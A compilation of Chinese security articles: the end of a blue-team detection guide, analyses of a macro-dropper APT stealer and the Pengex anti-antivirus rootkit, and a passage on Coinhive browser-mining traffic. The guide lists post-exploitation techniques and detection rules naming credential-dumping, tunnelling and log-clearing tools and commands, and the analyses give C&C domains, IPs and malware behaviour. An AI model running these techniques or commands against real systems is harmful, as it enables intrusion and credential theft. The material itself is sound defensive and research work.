第二个阶段就是生产网/数据->办公网>内部员工这个阶段，这个阶段的对象分为2种，第一种是以攻击者为对象，按照他们的角度来说也是我们常说的内网渗透以及后渗透，我们需要注意什么，首先我们的明白这一阶段攻击者需要做什么，这一阶段攻击者已经撕开了口子，他们现在的目标是寻找数据/财务/DC(域控)等核心资产，然后横向获取其权限，最后拿到想要的东西，清理痕迹，走人。站到企业员工的角度来说，员工电脑挖矿，就是内部员工信息泄露，可能通过邮件，u盘，web，截图/拍照等方式传递数据，首先我们来说说对攻击者的防护方式
1.攻击者，运用的技术（信息收集-横向渗透-权限维持/提权/钓鱼/穿透-清理痕迹）
先说说信息收集，我们要知道攻击者要收集哪些信息，跳板机信息，有什么杀软，有什么服务，如果有域看域信息，当前用户权限，是域用户吗？跳板机是域机器吗？域控在哪儿？数据库在哪儿？Exchange又在哪儿，网段是什么样的，这个c端又有什么服务，有没有各类ms17010,各类能直接拿权限的cve等，不管是什么攻击手法，攻击者都可以用工具或者是cmd解决，比如找域控，可以用nbtscan，也可以用net
group “domain controllers” /domain去找，对于企业的红军来说，我们防御规则可以这么写
（1）匹配工具名称，比如信息收集常用nbtscan,httpscan,nmap,dnsdump,AdFind,dsquery,Seatbelt,pwerspliot,Nishang,Empire,Bloodhound等后渗透工具的信息收集模块，我们可以匹配这些工具的名称，当然，规则也不能这么死板，比如某些攻击者的nbtscan.exe叫1.exe/a.exe/nbt.exe，这些咱们都的预防
（2）命令行匹配，比如我们的setspn，nltest信任域，AntiVirusProduct查看杀软，firewall/mode=disable防火墙，cmdkey看rdp凭证，wlan
show profiles看wifi密码，如果有些命令我们自己也要用，就加一个白，我们自己的运维就netstat -oan，其他人一般喜欢netstat
-ano，如果是ano就预警，除了企业安全部的同学，其他bu很少会用到这些命令
（3）算法中的罕见hash，比如我们用了Bloodhound，会生成一个zip压缩包，但是这台服务器历史上并没有生成过压缩包的时间案列，那么这个罕见hash就直接被我们捕获
（4）当然，如果公司有能力，在IDC内网里加密，后台的组件之间的数据传输都是加密
横向渗透/权限维持/提权/钓鱼/内网穿透
（1）匹配工具名称mimikatz，prodump，GPPPassword.ps1，Rubeus，ruler邮箱爆破，SNETCracker，reGeorg，EarthWorm，lcx，netcat/powercat,kekeo.exe，psexec/wmiexec，incognito，kerbrute，Invoke-TheHash，responder
（2）命令行匹配，interface portproxy出站入站，net use \ ipc链接，reg save
hklm\sam获取注册表hiv文件，wmic process call
create执行命令，Schtasks/at/sc/reg/winrm/dcom等执行命令，各类环境反弹shell
（3）行为特征匹配，注册表被修改（用于权限维持/bypassuac），组策略被修改，新增用户，某些工具的流量特征
（4）因为有一些cve，工具是需要python环境的，我们的一些服务器若为特俗业务，就尽量不要安装python的环境
这里简单分享一下，蓝军或者攻击者常用的横向手法，ipc空连接，抓密码/pth，找自己这台机器上的密码/token凭证，利用kerbrute爆破域用户密码，找ms17010以及各类能直接拿权限的cve，找exchange服务器，找内网里面的web服务，比如weblogic，st2，数据库服务器，wsus服务器，以及内网钓鱼运维（运维的服务器/运维常登录的web服务），发钓鱼邮件，约束委派等。
常见的提权手法，systeminfo找各类cve提权，第三方服务，比如iis，mysql的udf提权，土豆家族，凭证窃取，uac提权，低版本的比如win7,at/sc提权，AccessChk，Advanced
Installer等方式提权
常见的权限维持，开机自启动（sc/注册表/组策略），shift后门，修改注册表，金银票据，隐藏克隆用户，bitsadmin后门，组件劫持，msdtc
后渗透阶段笔者着重在讲windows，Linux根本没有提，因为大部分企业都是以windows域来管理的，虽然目前有部分企业有脱域的想法，但是代价以及后续管理是十分困难的，回到linux，蓝军或者攻击者在linux上会怎么操作呢？常见的横向，也是弱口令，翻各类文件，找web服务器的漏洞，redis未授权拿权限等常见的提权手法，常见的提权手法，利用内核漏洞，文件权限配置不当（上文中的容器也会因此逃逸），利用SUID程序进行提权，常见的权限维持，ssh会话劫持，cron后门，ssh公私钥等手法
清理痕迹
防火墙日志，IIS日志，windows默认的日志，
（1）命令行匹配，system32\config Event.EVT CurrentControlSet\Services\Eventlog
system32\logfiles SOFTWARE\Microsoft\SchedulingAgent Clear-Eventlog -Log
eventcreate -l system format /p
（2）匹配工具名称，elsave.exe Invoke-Phant0m EventCleaner cipher
当然，笔者的攻防水平有限，只是参照自己以往的攻防经验在结合网上一些文章的技术参考，总结地可能不全面，如有哪方面建设规则经验以及攻击手法不慎遗漏，可以私信作者邮箱亦或者是评论区指出，当然，我们也可以参照att&ck的框架，作为知名安全框架，不管是国内还是国外，许多优秀的安全公司的安全建设框架，都是多多少少参考了att&ck框架
2.员工
挖矿检测，服务器被攻击导致挖矿，员工内鬼挖矿
（1）特征检测，高CPU 和 GPU 使用率，异常网络活动，响应速度慢，硬盘被占用了极大的空间（新币种，用硬盘空间和网络带宽来进行挖矿），有明显的家族特征
（2）行为检测，一般的挖矿木马会写入计划任务实现持久化，宁外一些挖矿木马会自带密码库和具备扫描爆破功能
数据安全，从储存-访问/维护/使用/共享
（1）先从储存安全来说，统一安全管控密钥KMS技术，比如我们有qq,twitter,dingtalk的密码，他们是随机变化的，我们还有一个pass.txtqq,twitter,dingtalk的密码，企业可以自定义这个主密码，
数据加密，文件系统加密
（2）访问/运维/使用/共享这个阶段，一些研发时的特权账号必须回收，研发和运维的权限要分离，日志/debug该脱敏的就脱敏，以及水印，DLP技术，零信任技术
## 反打
当然，我们更不能一味的防守，我们的防守需带点攻击，让攻击者忌惮我们，那么，就会用到蜜罐，或者一些反制技术，最后我在补充一点蜜罐的建设意见
1.蜜罐出来毕竟有一段时间了，蓝军都有极高的警惕性，一堆硬骨头啃不动，怎么有一个struts2，蜜罐阿，那没事了，我们蜜罐第一点必须要有那种循序渐进，能让蓝军觉得是自己流批，找到的，举个列子，找一个ssrf漏洞，找扫内部资源，同段放一个有SQL注入的蜜罐，蓝军此刻的想法是写文章，记一套组合拳ssrf+sql注入拿下目标网站，当然，我这个例子举得过于理想化，同段只有一个web服务这本身就很有问题嘛，当然，这个只是一个思路
2.也是互联网上老生长谈的了，蓝军能钓鱼红军，红军也可以钓鱼蓝军嘛，我们自己设置几个xx段运维表.xlsx，红军值班表.docx放在稍微隐蔽点的位置，对于不是怎么专业的蓝军，粘贴复制，直接打开
3.其实蜜罐的思路也可以用于各类业务，逻辑安全上，确认异常是就返回异常数据
4.各类反制，蚁剑，goby的反制
## 后记
写在最后，希望笔者的这篇文章能为各大安全企业建设者提供有针对性的建议和帮助，如若文章有错误，还望各位读者斧正 | 社区文章 |
**作者：SungLin@知道创宇404实验室
时间：2019年7月30日 **
### 一．恶意邮件样本的信息与背景
在六月份的某单位HW行动中，知道创宇HW安全团队通过创宇云图APT威胁感知系统并结合腾讯御点终端安全管理系统成功处置了一起APT攻击事件。
7月份对同一样本的补充截图如下： 
在本次APT攻击中，攻击者通过发送鱼叉式钓鱼邮件，配合社会工程学手段诱导用户运行宏代码，进而下载尾部带有恶意payload压缩包的可执行文件。通过层层释放最终运行可窃取受害人员各类机密信息、维持权限、接收远端控制的木马。
文档打开后，会诱导用户需要开启宏才能查看被模糊的图片，一旦用户点击开启宏，恶意样本将会在用户电脑上运行、潜伏、收集相应的信息、等待攻击者的进一步指令。
该APT样本整体运行流程图如下：
### 二．宏病毒文档的提取与调试
使用OfficeMalScanner解压Office文档并提取文档所带的vba宏代码，打开Office文档启用宏后，采用快捷键Alt+F11开启宏代码的动态调试。该宏代码作为实施攻击的入口，实现了恶意样本的下载和执行。本章也将分析下载和执行的整体流程。
解压该Office文档后，宏代码被封装在xl文件夹下的vbaProject.bin文件中。
使用OfficeMalScanner这个工具的命令info从vbaProject.bin中提取宏代码，提取完后可以知道有6个宏代码，其中fdrhfaz2osd是主要的宏代码：
动态调试分析宏代码，首先宏代码传入两个值u和f，分别是请求的url和写入的filepath。
通过调用WinHttp.WinHttpRequest模块的方法Get请求来获取Response并写入到文件gc43d4unx.exe中。
最后通过调用WScript.Shell来启动程序gc43d4unx.exe。
### 三．gc43d4unx.exe释放pkk.exe等文件并执行
程序gc43d4unx.exe在文件的末尾存放了一个RAR的压缩文件，gc43d4unx.exe程序通过解压缩后在用户Temp目录下的29317159文件夹释放了49个文件，并以pkk.exe
xfj=eaa命令继续执行恶意样本。
压缩文件在gc43d4unx.exe中的分布情况。
gc43d4unx.exe主要逻辑在对话框的回调函数sub_419B4E中，识别Rar!的头部标识
解压缩到映射的内存文件中，然后再挨着写到各个文件中
在用户Temp目录下的29317159文件夹生成隐藏文件
最后通过SHELL32.ShellExecuteExW执行qwb.vbs代码，qwb.vbs则会使用WshShell.Run运行pkk.exe
xfj=eaa。
### 四．PayLoad之pkk.exe运行分析
pkk.exe是个名为AutoIt
v3的脚本软件，可以加载自定义脚本。主要是就是通过定义DllStruct，然后再通过DllCall来调用函数。qwb.vbs运行代码为WshShell.Run”pkk.exe
xfj=eaa”，通过pkk.exe加载一个叫xfj=eaa的二进制文件。
软件先判断载入的是不是DLL，xfj=eaa是个编码后的脚本，判断后程序将会尝试解码。
解码成功后，将解码数据写入一个临时文件中，软件将会重新创建一个进程来重新加载脚本。
解码后的Autolt脚本，代码被混淆了。
根据混淆的脚本，只是函数名混淆，而且脚本只是一个纯文本代码，通过重写此脚本后，可以看到基本还原的Autolt脚本代码了。
Autolt软件解析完脚本后根据字符串功能通过分发函数来执行相应的函数。
### 五．PayLoad之Autolt脚本分析
Autolt脚本包含的功能有：检测运行环境、修改注册表、解密最终的.net木马并运行。
通过检测进程名、设备是否有D盘等操作实现反虚拟机检测
注册表禁用UAC策略函数
注册表禁用任务管理器函数
注册表开启自启函数,AuEx和ExE_c的值分别是xfj=eaa、pkk.exe。
解密.net木马：
读取K3ys这个键值和mmm.ini文件中[Data]段到[eData]，将此数据进行字符替换正则匹配。
载入Advapi32.dll，将K3ys键值进行Hash计算获取到真正的key，后再调用CryptDecrypt函数解密，利用ollydbg动态调试dump出解密数据，解密后的数据就是一个PE结构的程序，用IDA分析程序后，为.NET程序，这个.NET程序就是最后核心木马了，Autolt脚本后续将此PE结构加载进去，创建线程去单独运行此程序。
### 六．.NET木马分析
木马主要功能进行了敏感信息收集，敏感信息收集完后会判断目标主机是否符合收集目标，以判断6个人名为主，符合本机收集目标，将会通过smtp或者ftp服务器上传文件,并且也通过web服务和c&c进行信息交流等。
木马程序的基本信息：
用.net反编译工具dnSpy打开此程序，程序入口处就是在类afg.agu，此木马经我判定进行了控制流扁平化和字符串加密的混淆方式，采用工具de4dot无法进行反混淆。
字符串的解密：
如下图所示，经过字符串加密后静态分析已经无法分析到字符串，而且可以看出控制流进行了扁平化的处理，加密字符串的入口函数为`<Module>.\u206E()`。
字符串的加密方式主要是通过传入加密的索引，通过固定值的替换与拆分计算后找到对应存储在uint型数组对象\u2009的加密Data、key、IV，\u2009数组对象大概有1047个字符串加密数组，字符串加密采用AES，模式为CBC。
编写python脚本进行了字符串解密，解密后的效果如下所示：
字符串解密核心算法如下：
入口处获取主机名进行判断是否包含以下6个主机名，攻击目标是否符合：
自我复制到C:\Users\l\AppData\Roaming\MyApp\MyApp.exe，设置为系统文件，并设置为无法删除的文件Zone.Identifier，在注册表设置为自启应用并且隐藏。
感谢前辈的指点，此处有错误，更正如下：定时请求 <http://checkip.amazonaws.com/> 获取出口的IP。
httpweb服务器进行交互，进行信息的交流包括（"update"、"info"、"uninstall"、"cookies"、"screenshots"、"keylog"）。
DNS查询等：
进行ftp和smtp服务操作，并且绑定了一个邮箱地址 。
以下可能是此地址的密码：
收集信息如下：
系统信息 |
---|---
ManagementObjectSearcher managementObjectSearcher = new
ManagementObjectSearcher("root\CIMV2", "SELECT * FROM Win32_VideoController")
|
managementObjectSearcher2 = new ManagementObjectSearcher("SELECT * FROM
Win32_Processor"); |
浏览器 |
---|---
CatalinaGroup\Citrio\User Data | liebao\User Data
Fenrir Inc\Sleipnir5\setting\modules\ChromiumViewer |
Yandex\YandexBrowser\User Data
360Chrome\Chrome\User Data | Chedot\User Data
Elements Browser\User Data | Epic Privacy Browser\User Data
CocCoc\Browser\User Data | MapleStudio\ChromePlus\User Data
Chromium\User Data | Torch\User Data
Iridium\User Data | Comodo\Dragon\User Data
7Star\7Star\User Data | Amigo\User Data
BraveSoftware\Brave-Browser\User Data | CentBrowser\User Data
Vivaldi\User Data | QIP Surf\User Data
Kometa\User Data | Orbitum\User Data
Sputnik\Sputnik\User Data | uCozMedia\Uran\User Data
Coowon\Coowon\User Data |
ftp列表 |
---|---
\CoreFTP\sites.idx | \FTP Navigator\Ftplist.txt
\SmartFTP\Client 2.0\Favorites\Quick Connect\ |
\SmartFTP\Client 2.0\Favorites\Quick Connect*.xml |
\Ipswitch\WS_FTP\Sites\ws_ftp.ini
\cftp\Ftplist.txt | \FTPGetter\servers.xml
\FTP Navigator\Ftplist.txt |
Mail列表 |
---|---
\VirtualStore\Program Files\Foxmail\mail\ | \Opera Mail\Opera Mail\wand.dat
Software\IncrediMail\Identities\ |
注册表 |
---|---
"HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" + str + "Host" |
"HKEY_CURRENT_USERSoftwareFTPWareCOREFTPSites" + str + "Port"
"HKEY_CURRENT_USERSoftwareFTPWareCOREFTPSites" + str + "User" |
"HKEY_CURRENT_USERSoftwareFTPWareCOREFTPSites" + str + "PW"
"HKEY_CURRENT_USERSoftwareFTPWareCOREFTPSites" + str + "Name" |
http通信信息
### 七．安全建议
强烈推荐采用知道创宇云图、腾讯御点等产品，提高企业安全保护，降低外部威胁水平。
知道创宇云图威胁监测系统系列产品，实时分析网络全流量，结合威胁情报数据及网络行为分析技术，深度检测所有可疑活动。文件检测采用全面沙箱分析，通过在沙箱（Sandbox）中运行（行为激活/内容“引爆”）各种文件，分析文件行为，识别出未知威胁。网络检测与文件检测同步进行，采用情报共享机制，构筑检测生态圈，准确、快速地掌握攻击链条，以便进一步采取相关措施，将APT（高级持续性威胁）攻击阻止在萌芽状态。
腾讯御点是腾讯出品、领先国际的企业级安全服务提供者。依托腾讯19年的安全经验积累，为企业级用户提供私有云防病毒和漏洞修复解决方案。御点具备终端杀毒统一管控、修复漏洞统一管控，以及策略管控等全方位的安全管理功能，可帮助企业管理者全面了解、管理企业内网安全状况、保护企业安全。
### 八．IOC信息
domain & IP：
animalrescueskyward.co.za
mail.privateemail.com
checkip.amazonaws.com
129.232.200.208:443
198.54.122.60
52.206.161.133
34.197.157.64
18.211.215.84
52.202.139.131
34.233.102.38
52.6.79.229
相关 hash：
7b478598b056d1f8e9f52f5ef1d147437b7f0da5
a73816ebcfc07d6da66de7c298a0912a3dd5d41a
b65884f1e833ea3eec8a8be4c7057a560da4511e
8827b2c1520fb41034d5171c5c4afd15158fd4a3
491b221f68013a2f7c354e4bb35c91fe45a1c0c0
* * * | 社区文章 |
作者：[火绒安全实验室](http://bbs.huorong.cn/forum.php?mod=viewthread&tid=23107#lastpost)
#### 一、综述
近日，火绒安全实验室截获到一种内核级后门病毒，并将其命名为 "Pengex" 病毒。经分析，"Pengex"
以劫持用户首页流量牟利为目的，但是不同于其他"流量劫持"类病毒的是，它技术高明、手段凶狠，会主动攻击国内主流的安全软件，使他们失去内核对抗能力，这会让电脑完全失去安全防护。诡异的是，Pengex
唯独不攻击并且刻意"放过"腾讯电脑管家。
"Pengex" 通过盗版系统盘和"注册机"软件进行传播，并在用户电脑中留下后门，日后可随时植入任意病毒，因此威胁隐患极大。"Pengex"
会攻击各种主流的杀毒软件，包括火绒、360、金山等，导致这些软件的驱动无法加载，因此失去在内核层对抗病毒的能力。
但有意思的是，该病毒却唯独刻意放过了腾讯电脑管家，它将腾讯电脑管家加入白名单中，在进行"删除驱动回调"的操作时放过腾讯电脑管家。病毒的这种行为表明，该病毒团伙很可能是腾讯安全管家的系统盘渠道推广服务商，火绒建议"腾讯安全管家"彻查系统盘推广渠道。
"Pengex"
通过修改浏览器配置和进程启动参数两种方式，来劫持首页牟利。在此过程中，病毒会按照制作者的计划，将不同的浏览器指向不同的导航站。该病毒不仅攻击安全软件，还会攻击其他同类病毒，以便独占用户电脑首页资源牟利。据分析，该病毒劫持首页后设置的渠道号是"oemxiazaiba2"（"下载吧"的全拼），请各大导航站关注并查证这个渠道账号。
"火绒安全软件"已经在第一时间更新病毒库，可彻底查杀该病毒。火绒工程师提醒广大用户，如需重装系统，务必通过正规渠道，购买正版系统，目前看来，盗版系统盘已经成为电脑病毒的重要传播渠道。
#### 二、详细分析
该病毒是一个内核级后门病毒，初步怀疑该样本主要通过第三方系统盘方式进行传播。该样本在系统中运行后，会造成国内主流安全软件驱动程序无法正常加载，从而使安全软件失去防御能力。该病毒主要对抗的安全厂商包括：火绒、360、金山等，其恶意代码执行之后，可以执行远端
C&C 服务器存放的任意病毒代码。
该病毒分为两个部分，即病毒加载器和后门病毒，下文中分为两部分进行详细分析。病毒结构如下图所示：
病毒整体结构图
###### 病毒加载器
该部分代码主要用于对抗安全软件查杀和进行内核对抗。加载器功能代码分为两个部分，先会在内存中通过虚拟映射加载一个新的 ntoskrnl
镜像，再通过相同的方式将真正的病毒驱动加载到内存中，并且将导入的 ntoskrnl 中的函数地址指向其虚拟加载的 ntoskrnl
镜像中的函数地址上，通过此方法可以绕过其他驱动在 ntoskrnl 中设置的内核钩子。全局变量 `is_virus_load`
是一个标记，通过传入驱动主函数中的 RegistryPath 参数是否为 NULL 判断是否为病毒通过虚拟映射方式加载。如下图所示：
加载器驱动主函数代码
**(一) 虚拟加载ntoskrnl**
`load_fake_ntoskrnl_safe` 函数会通过虚拟加载新的 ntoskrnl 镜像，在其执行完虚拟加载逻辑之后，会与当前内存中系统加载的
ntoskrnl 模块前 0x200 个字节数据进行比较，从而判断自己创建的 ntoskrnl 镜像内容是否正常。如下图所示：
检测虚拟加载是否成功
虚拟加载ntoskrnl
**(二) 虚拟加载后门病毒**
`load_rootkit` 函数会通过与虚拟映射 ntoskrnl 相同的方法加载真正的病毒驱动。病毒驱动的镜像数据是被异或 0xC0
加密过的，该函数首先会将病毒数据进行解密，之后对该驱动进行映射并修复导入表和重定位数据，最后通过调用 `ExQueueWorkItem`
函数执行病毒驱动入口。如下图所示：
加载病毒驱动
上图所示调用 `ExQueueWorkItem` 函数所传入的 `WORK_QUEUE_ITEM`
结构尾部带有附加数据，在上述调用中，附加数据存放有被加载驱动的入口点地址。如下图所示：
执行驱动入口
###### 内核级后门
该病毒执行后，会不断地与 C&C 服务器（域名：caoduba.com 或 139.129.234.76，通讯端口：7897）进行通讯。病毒使用的域名和
IP 地址解密代码，如下图所示：
解密域名和IP地址
**(一) 病毒与C &C服务器通讯**
病毒与C&C服务器的通讯内容分为两大类：
1) 数据请求通知
服务器在获取到病毒请求数据的通知后，可以根据控制码返回被请求的数据。通过网络通讯，病毒可以进行远程驱动模块加载、获取远程动态库注入系统进程、获取配置数据进行流量劫持。控制码含义，如下图所示：
数据请求相关控制码
2) 运行状态通知
服务器可以根据通知中的控制码获取当前病毒的运行状态，例如映像加载回调是否设置成功，是否已经成功劫持用户主页等，病毒作者可以根据这些通知得知病毒运行中可能存在的问题。控制码含义，如下图所示：
运行状态通知
通过上述控制命令，我们可以直观的看到，该病毒不但可以根据远程获取的配置数据劫持用户首页，还可以根据病毒作者需求在用户计算机中执行任意恶意代码。又由于该病毒会阻止安全软件驱动加载，使得安全软件完全失去了与其进行内核对抗的能力，从而导致很难对其进行查杀。
病毒与服务器通讯函数，如下图所示：
发送数据代码
通讯使用TDI网络函数，连接服务器代码，如下图所示：
调用TDI网络函数链接服务器
发送数据、接收数据代码类似，仅以发送数据为例。如下图所示：
调用TDI网络函数发送数据
**(二) 控制码功能分析**
下面我们根据病毒所使用的主要的控制码对病毒功能进行详细分析：
1) 控制码0x2，获取病毒执行配置数据进行流量劫持
与服务器通讯后，病毒可以获取到劫持配置数据，数据中包括是否劫持某种浏览器、各个种类浏览器需要劫持的网址、控制病毒执行流程的执行标记。如下图所示：
下载配置
配置数据并不是通过明文存放，下载之后需要逐字节异或 0xC0 进行解密，数据长度共 0x1CA0 个字节。如下图所示：
解密配置
下载的浏览器配置内容中，包括需要劫持的浏览器种类、各个浏览器所劫持的网址、需要执行哪些对抗操作、是否劫持腾讯电脑管家的首页保护注册表项及所劫持注册表项内容。如下图所示：
下载的配置内容
上图中所示红框所标注出的变量 `virus_proc_ctrl_code`
可以控制病毒的执行执行的对抗操作流程，其所能控制的对抗操作例如：删除其他驱动的映像加载回调和进程回调、截断 attach
在系统网络驱动上的设备链等。因为绝大部分浏览器首页保护和首页劫持都会在这些位置上做文章，所以在病毒在劫持流量的同时进行上述对抗可以一定程度上提高其劫持成功率。该变量以位段的形式规定执行流程，各个位段含义如下图所示：
位段含义
使用 `virus_proc_ctrl_code` 变量控制执行流程，如下图所示：
virus_proc_ctrl_code相关代码
下面我们根据上图中所示顺序依次对其所使用的对抗方法进行说明：
A. 删除其他驱动的进程回调和映像加载回调
这种方法主要针对利用进程回调和映像加载回调相互配合劫持或保护浏览器启动参数的情况，病毒先通过搜索代码的方式在设置回调的系统函数中找到回调函数表，之后判断回调函数所属驱动模块是否在白名单中，如果不在白名单中则执行删除操作，删除成功后想服务器发送运行状态通知
0x10。如下图所示：
删除映像加载回调
搜索影响加载回调函数列表代码
判断回调地址所属驱动模块是否在白名单列表中
白名单中所存放字符串可以是文件名也可以是部分文件名，其中除了一些系统驱动模块外还包括腾讯电脑管家相关驱动，因为腾讯电脑管家驱动全部包含 QQPCMgr、Ts
和 TS 字符串，所以腾讯电脑管家的全部驱动都会被放过。白名单列表如下图所示：
白名单列表
检测回调所属模块文件名
删除进程回调的方法与删除映像加载回调方法类似。如果执行中无法得到进程回调函数表则向C&C服务器发送控制码 0xE，如果成功注册进程回调函数则向 C&C
服务器发送 0x11。如下图所示：
删除进程回调
搜索进程回调函数列表
B. 截断 attach 在系统网络驱动对象上的设备链
除了删除驱动回调外，该病毒还会通过截断 attach 到 tcpip、AFD、tdx
驱动上设备链的方式，排除网络过滤驱动对其流量劫持效果的影响。如下图所示：
截断attach的设备链
C. 清空 hosts 文件
清除hosts
D. 清除 BHO（BrowserHelperObjects）
通过删除`\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\BrowserHelperObjects`
注册表项下的所有子项来删除所有
BHO。但当病毒发现系统中存在`\REGISTRY\MACHINE\Software\Wow6432Node\Tencent\QQPCMgr`
注册表项时，则不对 BHO 文件进行清除。如下图所示：
删除BHO相关代码
删除BHO注册表项
E. 重置IE代理设置
病毒通过将`\Registry\User\`当前用户`\Software\Microsoft\Windows\CurrentVersion\InternetSettings的ProxyEnable`
键值置为0的方法禁用网络代理。
F. 劫持浏览器配置
在进行对抗操作之后，病毒使用所收到的劫持网址和相关数据尝试对一些常用浏览器（IE、QQ浏览器、360安全浏览器、火狐、世界之窗）和腾讯电脑管家首页保护的配置进行修改，从而进行流量劫持。在进行劫持操作之后，会向C&C服务器发送控制码0x4。如下图所示：
劫持浏览器和腾讯管家首页保护配置
劫持浏览器代码以劫持360安全浏览器为例，如下图所示：
构造360安全浏览器相关环境字符串
最引起我们注意的是，在劫持360安全浏览器首页的同时，病毒还将渠道号设置成了
"oemxiazaiba2"，字母组成的后半部分为"下载吧"全拼，但由于可以获取到的信息十分有限，我们暂时无法求证其与"下载吧"是否存在直接关系。如下图所示：
劫持360安全浏览器首页代码
G. 劫持腾讯电脑管家首页保护网址
病毒除了会篡改浏览器配置外，还会通过添加自定义保护网址（自定义网址相关注册表项均为 3rd 开头）的方式，劫持腾讯电脑管家首页保护网址。如下图所示：
修改腾讯电脑管家首页保护注册表项
2) 控制码 0x3，获取远程驱动模块
与上文（一）病毒加载器中病毒所使用的方法相似，只不过病毒这次用来加载的驱动模块数据是通过C&C服务器获取的，大致执行过程相同，其具体的驱动执行过程不再赘述。如下图所示：
加载远程驱动模块
虚拟加载驱动并执行入口点
3) 控制码0xA，获取远程驱动模块
执行远程驱动模块代码部分，是通过注入 winlogon.exe 进程实现的，注入部分使用了开源的 BlackBone 项目代码。如下图所示：
请求远程动态库
病毒会先将获取到的动态库数据是放到 system32 目录下，之后再调用 BlackBone 代码将动态库注入到 winlogon 进程中执行。如下图所示：
注入 winlogon
注入 winlogon
病毒中的
BlackBone 项目相关代码
**(三) 其他劫持和对抗手段**
1) 通过进程回调和映像加载回调劫持浏览器启动参数
除了上述介绍的病毒所使用的劫持方法外，病毒还通过注册进程回调和映像加载回调劫持浏览器启动参数进行流量劫持。如下图所示：
病毒注册回调
病毒在进程回调中会判断浏览器种类，针对不同的浏览器劫持的网址链接可以有所不同，在检测到需要进行劫持的进程后，将相关的劫持信息添加到劫持列表中。如下图所示：
劫持浏览器进程检测
在进程回调中记录劫持进程信息后，在映像加载回调中将 PEB 中的进程参数篡改为欲劫持网址。如下图所示：
劫持进程参数
2) 通过映像加载回调拦截驱动加载
除了用于进行流量劫持的映像加载回调外，病毒还注册了一个用来进行内核对抗的映像加载回调，该回调函数不但会阻止带有安全软件签名信息的驱动执行，还会拦截一些内核级流量劫持类病毒的执行。当所加载的驱动信息在黑名单中，病毒会将映像的入口点代码替换为直接返回，从而禁止执行该映像中的逻辑代码。如下图所示：
禁止执行安全软件驱动逻辑
在判断正在加载的映像是否属于黑名单时，病毒先常见的内核级流量劫持病毒的文件名进行匹配，如果文件名中包含 Mslmedia.sys 或者
mssafel.sys
则会禁止其执行。之后，病毒会获取当前映像的签名信息与黑名单中的签名信息进行匹配，如果包含则也会禁止其执行。黑名单中的签名信息包括：火绒、360、金山、2345、瑞星、百度，甚至还包括
ADSafe
的签名和病毒常用"上海域联"签名信息，但是其中依然没有腾讯电脑管家相关签名信息，由此我们可以推断病毒对腾讯电脑管家是有意进行放过的，并非无意之举。签名信息黑名单信息，如下图所示：
签名黑名单
如上图，除了主流安全软件的签名外，还包括有"上海域联"的签名信息。该签名虽然已经过期，但是不会影响驱动正常加载，所以经常被病毒程序盗用，去年大面积爆发的"小马激活病毒"也是盗用了"上海域联"的签名。相关代码如下图所示：
判断是否属于黑名单
检测签名信息是否在黑名单中
由于很多内核级流量劫持类病毒都使用 VMProtect 壳进行保护，所以病毒作者还加入了一个更加暴力的判断方法，如果节名为 `UPX0` 或者
`.vmp0` 则禁止驱动逻辑执行。如下图所示：
检测节名
#### 三、附录
文中涉及样本SHA256：
[附PDF版报告下载地址](http://down4.huorong.cn/doc/pengex.pdf)
* * * | 社区文章 |
# 是谁悄悄偷走我的电（四）：国内大玩家对Cohive影响的案例分析
##### 译文声明
本文是翻译文章，文章原作者 Zhang Zaifeng，文章来源：360网络安全研究院
原文地址：<https://blog.netlab.360.com/who-is-stealing-my-power-iv-a-case-study-how-one-big-player-could-impact-the-cohive-business-in-china/>
译文仅供参考，具体内容表达以及含义原文为准。
## 传送门：是谁悄悄偷走我的电：利用DNSMon批量发现被挂挖矿代码的域名
## 传送门：是谁悄悄偷走我的电：那些利用主页挖取比特币的网站
## 传送门：是谁悄悄偷走我的电：某在线广告网络公司案例分析
《是谁悄悄偷走我的电》是我们的一个系列文章，讨论我们从 DNSMon 看到的网页挖矿的情况。在这个系列的之前的
[**一**](https://blog.netlab.360.com/who-is-stealing-my-power-web-mining-domains-measurement-via-dnsmon/) 、 [**二**](https://blog.netlab.360.com/who-is-stealing-my-power-web-mining-domains-measurement-via-dnsmon/) 和
[**三**](http://blog.netlab.360.com/who-is-stealing-my-power-iii-an-adnetwork-company-case-study/)
中，我们已经介绍了整个Web挖矿的市场情况。当前我们知道，市场中的玩家主要可以分为挖矿网站和内容/流量网站，前者提供挖矿能力、后者提供流量，二者合力利用终端用户的浏览器算力挖矿获利。
当前，挖矿网站中最大的玩家是 coinhive 家族，按照被引用数量计，占据了 58% 的市场份额。这些在我们之前的文章中已经提及。
那么，流量网站的情况如何，有哪些有意思的情况？
## Coinhive 的关联域名
DNSMon 有能力分析任意域名的 **关联域名** ，在这个案例中可以拿来分析 coinhive 家族关联的 **流量网站** 。通过分析这些流量网站的
DNS 流量，可以观察到很多有意思的事情。
下面是一个域名访问规模图：
在上图中:
* **横轴** ：代表时间，从 2018-01-31到2018-02-15
* **纵轴** ：列出 coinhive.com 的关联域名，通过分析其网页内容，我们证实其中大部分有网页挖矿行为
* **散点** ：代表这些域名的访问规模，面积越大表示当天的访问量越大
图中红框高亮的两个域名引起了我们的兴趣。这两个域名，在2月3号到2月8号这段时间内突然出现，访问量上来就很大、没有爬升期，并且在2月9号之后快速的消失。这些特点显著区别于其他域名相对稳定的流量表现。
* **kw.cndqsjlg.com**
* **v.bjztkeji.com**
下面是我们对这个案例的分析。
## Coinhive 的流量波动
如上图所见，coinhive.com 的流量，在 2018-02-01～2018-02-10 之间有较大的波动，图中分成了四个部分：
* 第一次波峰，2月5日
* 第一次波谷，2月6日
* 第二次波峰，2月7日
* 第二次波谷，2月8日
下面我们逐一解释这些异常现象发生的原因。
## Coinhive 的第一次波峰
看图中 stage 1 部分，我们会注意到 Coinhive 出现显著波峰，原因是什么？
注意图中绿色线，一个新的域名 kw.cndqsjlg.com 突然出现，并导致了 coinhive.com 在2月5日的流量波峰：
* 该域名的 **访问曲线** ，与 coinhive 第一次波峰的访问曲线基本一致
* 该域名的 **网页内容** ，经分析确认在利用 coinhive 脚本挖矿，对应的 site_key 是 76kBm8jdLIfdkW6rWAbAs58122fovBys
* 该域名是个 **全新域名** ，注册在2月2日，在波峰前约48小时
* 我们估算，该域名为 coinhive 贡献了 **中国大陆地区18%** 左右的流量来源
## Coinhive 的第一次波谷
在 2月6日～2月7日 期间，观察图中的 stage 2 部分，很容易注意到 coinhive 出现显著波谷，原因是：
* kw.cndqsjlg.com 域名放弃了 coinhive ，而是启用了 **自建deepminer** 挖矿从而避免 coinhive 的抽成费用
7日以后，该域名在不再活跃。
## Coinhive 的第二次波峰
